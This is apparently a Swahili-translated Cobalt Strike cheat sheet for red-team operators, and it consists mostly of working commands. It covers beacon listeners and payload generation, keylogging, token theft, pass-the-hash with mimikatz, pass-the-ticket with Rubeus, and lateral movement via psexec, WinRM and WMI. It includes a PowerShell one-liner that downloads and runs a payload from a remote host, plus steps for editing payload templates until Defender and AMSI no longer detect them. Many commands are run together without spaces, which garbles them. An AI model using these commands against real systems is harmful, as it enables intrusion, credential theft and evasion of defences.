Cobalt Strike -> Wasikilizaji -> Ongeza/Hariri kisha unaweza kuchagua mahali pa kusikiliza, aina gani ya beacon ya kutumia (http, dns, smb...) na zaidi.
Wasikilizaji wa Peer2Peer
Beacons ya wasikilizaji hawa hazihitaji kuongea na C2 moja kwa moja, wanaweza kuwasiliana nayo kupitia beacons nyingine.
Cobalt Strike -> Wasikilizaji -> Ongeza/Hariri kisha unahitaji kuchagua beacons za TCP au SMB
Beacon ya TCP itaweka wasikilizaji kwenye bandari iliyochaguliwa. Kwa kuunganisha kwenye beacon ya TCP tumia amri connect <ip> <port> kutoka kwa beacon nyingine
Beacon ya smb itasikiliza kwenye jina la pipename lililochaguliwa. Kwa kuunganisha kwenye beacon ya SMB unahitaji kutumia amri link [target] [pipe].
Jenereta na Mwenyeji wa mizigo
Jenereta ya mizigo kwenye faili
Mashambulizi -> Pakiti ->
HTMLApplication kwa faili za HTA
MS Office Macro kwa hati ya ofisi yenye macro
Windows Executable kwa .exe, .dll au huduma .exe
Windows Executable (S) kwa stageless .exe, .dll au huduma .exe (bora stageless kuliko staged, chini ya IoCs)
Jenereta na Mwenyeji wa mizigo
Mashambulizi -> Web Drive-by -> Utoaji wa Wavuti ulioandikwa (S) Hii itazalisha hati/utekelezaji wa kupakua beacon kutoka kwa cobalt strike katika muundo kama vile: bitsadmin, exe, powershell na python
Mwenyeji wa Mizigo
Ikiwa tayari una faili unayotaka kuwa mwenyeji kwenye seva ya wavuti, nenda tu kwa Mashambulizi -> Web Drive-by -> Mwenyeji wa Faili na chagua faili ya kuwa mwenyeji na mpangilio wa seva ya wavuti.
Chaguo za Beacon
# Tekeleza .NET binary ya ndaniexecute-assembly</path/to/executable.exe># Picha za skriniprintscreen# Chukua picha moja kupitia njia ya PrintScrscreenshot# Chukua picha mojascreenwatch# Chukua picha za skrini za kawaida## Nenda kwa View -> Screenshots kuwaona# keyloggerkeylogger [pid] [x86|x64]## View > Keystrokes kuona herufi zilizobonyezwa# portscanportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Ingiza hatua ya portscan ndani ya mchakato mwingine
portscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Ingiza moduli ya Powershellpowershell-importC:\path\to\PowerView.ps1powershell<andikaamrizapowershellhapa># Uigizaji wa mtumiaji## Uzalishaji wa token na credsmake_token [DOMAIN\user] [password] # Unda token ili kujifanya kuwa mtumiaji kwenye mtandaols \\computer_name\c$ # Jaribu kutumia token uliyounda kufikia C$ kwenye kompyutarev2self# Acha kutumia token uliyounda na make_token## Matumizi ya make_token husababisha tukio la 4624: Akaunti ilifanikiwa kuingia. Tukio hili ni la kawaida sana katika kikoa cha Windows, lakini linaweza kupunguzwa kwa kuchuja kwa Aina ya Kuingia. Kama ilivyotajwa hapo juu, inatumia LOGON32_LOGON_NEW_CREDENTIALS ambayo ni aina 9.
# UAC Bypasselevatesvc-exe<wasikilizaji>elevateuac-token-duplication<wasikilizaji>runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## Chukua token kutoka kwa pid## Kama make_token lakini unachukua token kutoka kwa mchakatosteal_token [pid] # Pia, hii ni muhimu kwa hatua za mtandao, sio hatua za ndani## Kutoka kwa nyaraka za API tunajua kuwa aina hii ya kuingia "inaruhusu mtumaji kuiga token yake ya sasa". Ndio maana Beacon inasema Impersonated <current_username> - inajifanya kuwa token yetu iliyokopwa.
ls \\computer_name\c$ # Jaribu kutumia token uliyounda kufikia C$ kwenye kompyutarev2self# Acha kutumia token kutoka kwa steal_token## Zindua mchakato na sifa mpyaspawnas [domain\username] [password] [wasikilizaji] # Fanya hivyo kutoka kwenye saraka yenye ufikiaji wa kusoma kama: cd C:\
## Kama make_token, hii itazalisha tukio la Windows 4624: Akaunti ilifanikiwa kuingia lakini na aina ya kuingia 2 (LOGON32_LOGON_INTERACTIVE). Itaelezea mtumiaji anayepiga simu (TargetUserName) na mtumiaji anayejifanya (TargetOutboundUserName).
## Ingiza kwenye mchakatoinject [pid] [x64|x86] [wasikilizaji]## Kutoka kwa mtazamo wa OpSec: Usifanye uingizaji wa msalaba-jukwaa isipokuwa unahitaji sana (k.m. x86 -> x64 au x64 -> x86).
## Pita hash## Mchakato huu wa ubadilishaji unahitaji kurekebisha kumbukumbu ya LSASS ambayo ni hatua ya hatari sana, inahitaji mamlaka ya msimamizi wa ndani na sio rahisi ikiwa Protected Process Light (PPL) imeamilishwa.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## Pita hash kupitia mimikatzmimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## Bila /run, mimikatz itazindua cmd.exe, ikiwa unatumia kama mtumiaji na Desktop, ataweza kuona kikao (ikiwa unatumia SYSTEM, unaendelea vizuri)
steal_token<pid>#Chukua token kutoka kwa mchakato uliozalishwa na mimikatz## Pita tiketi## Omba tiketiexecute-assemblyC:\path\Rubeus.exeasktgt/user:<username>/domain:<domain>/aes256:<aes_keys>/nowrap/opsec## Unda kikao kipya cha kuingia kutumia tiketi mpya (ili isiwafute zile zilizodhuriwa)make_token<domain>\<username>DummyPass## Andika tiketi kwenye mashine ya mshambuliaji kutoka kwa kikao cha poweshell & ipakie[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## Pita tiketi kutoka kwa SYSTEM## Zalisha mchakato mpya na tiketiexecute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Chukua token kutoka kwa mchakato huosteal_token<pid>## Chukua tiketi + Pita tiketi### Onyesha tiketiexecute-assemblyC:\path\Rubeus.exetriage### Pindua tiketi za kuvutia kwa luidexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### Unda kikao kipya cha kuingia, chukua luid na processidexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Ingiza tiketi katika kikao cha kuingia kilichozalishwaexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Hatimaye, iba alama kutoka kwa mchakato huo mpyasteal_token<pid># Harakisha kwa Upande## Ikiwa alama imeundwa, itatumikajump [method] [target] [listener]## Njia:## psexec x86 Tumia huduma kuendesha kipande cha EXE cha Huduma## psexec64 x64 Tumia huduma kuendesha kipande cha EXE cha Huduma## psexec_psh x86 Tumia huduma kuendesha mstari mmoja wa PowerShell## winrm x86 Endesha hati ya PowerShell kupitia WinRM## winrm64 x64 Endesha hati ya PowerShell kupitia WinRMremote-exec [method] [target] [command]## Njia:## psexec Endesha kwa mbali kupitia Meneja wa Udhibiti wa Huduma## winrm Endesha kwa mbali kupitia WinRM (PowerShell)## wmi Endesha kwa mbali kupitia WMI## Ili kutekeleza beacon na wmi (haipo katika amri ya jump) tu pakia beacon na kuitekelezabeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Pita kikao kwa Metasploit - Kupitia msikilizaji## Kwenye mwenyeji wa metaploitmsf6>tumiaexploit/multi/handlermsf6exploit(multi/handler) >wekapayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >wekaLHOSTeth0msf6exploit(multi/handler) >wekaLPORT8080msf6exploit(multi/handler) >exploit-j## Kwenye cobalt: Wasikilizaji > Ongeza na weka Payload kuwa Foreign HTTP. Weka Mwenyeji kuwa 10.10.5.120, Bandari kuwa 8080 na bonyeza Hifadhi.
beacon> spawnmetasploit## Unaweza kuzindua vikao vya Meterpreter x86 tu na msikilizaji wa kigeni.# Pita kikao kwa Metasploit - Kupitia kuingiza shellcode## Kwenye mwenyeji wa metaploitmsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## Chalaza msfvenom na andaa msikilizaji wa multi/handler## Nakili faili ya bin kwenye mwenyeji wa cobalt strikepsshinject<pid>x64C:\Payloads\msf.bin#Ingiza msikilizaji wa metasploit shellcode katika mchakato wa x64# Pita kikao cha metasploit kwa cobalt strike## Zalisha Beacon shellcode bila hatua, nenda kwa Mashambulizi > Pakiti > Windows Executable (S), chagua msikilizaji unaotaka, chagua Aina ya Matokeo kuwa Raw na chagua Tumia malipo ya x64.
## Tumia post/windows/manage/shellcode_inject katika metasploit kuingiza shellcode ya cobalt strike iliyozalishwa# Kubadilisha Mwelekeo## Fungua proxy ya socks kwenye timu ya sevabeacon> socks1080# Uunganisho wa SSHbeacon> ssh10.10.17.12:22jina_la_mtumiajinywila
Kuepuka AVs
Kitu cha Sanaa
Kawaida katika /opt/cobaltstrike/artifact-kit unaweza kupata nambari na templeti zilizopangwa mapema (katika /src-common) za malipo ambayo cobalt strike itatumia kuzalisha beacons za binary.
Kwa kutumia ThreatCheck na mlango wa nyuma uliozalishwa (au tu na templeti iliyopangwa mapema) unaweza kugundua kinachosababisha defender kuzindua. Kawaida ni herufi. Kwa hivyo unaweza tu kurekebisha nambari ambayo inazalisha mlango wa nyuma ili herufi hiyo isionekane katika binary ya mwisho.
Baada ya kurekebisha nambari tu endesha ./build.sh kutoka kwenye saraka ile ile na nakili folda ya dist-pipe/ kwenye mteja wa Windows katika C:\Tools\cobaltstrike\ArtifactKit.
Usisahau kupakia script ya kushambulia kwa nguvu dist-pipe\artifact.cna ili kuonyesha Cobalt Strike kutumia rasilimali kutoka kwenye diski tunayotaka na sio zile zilizopakiwa.
Jitihada za Rasilimali
Folda ya ResourceKit ina mifano ya malipo ya Cobalt Strike inayotegemea script ikiwa ni pamoja na PowerShell, VBA, na HTA.
Kwa kutumia ThreatCheck na mifano hii, unaweza kugundua ni nini kinachokataliwa na mfumo wa ulinzi (kama vile AMSI) na kubadilisha:
Kwa kubadilisha mistari iliyogunduliwa, mtu anaweza kuunda kigezo ambacho hakitakamatwa.
Usisahau kupakia script ya kushambulia ResourceKit\resources.cna ili kuonyesha Cobalt Strike kutumia rasilimali kutoka kwenye diski tunayotaka na sio zile zilizopakiwa.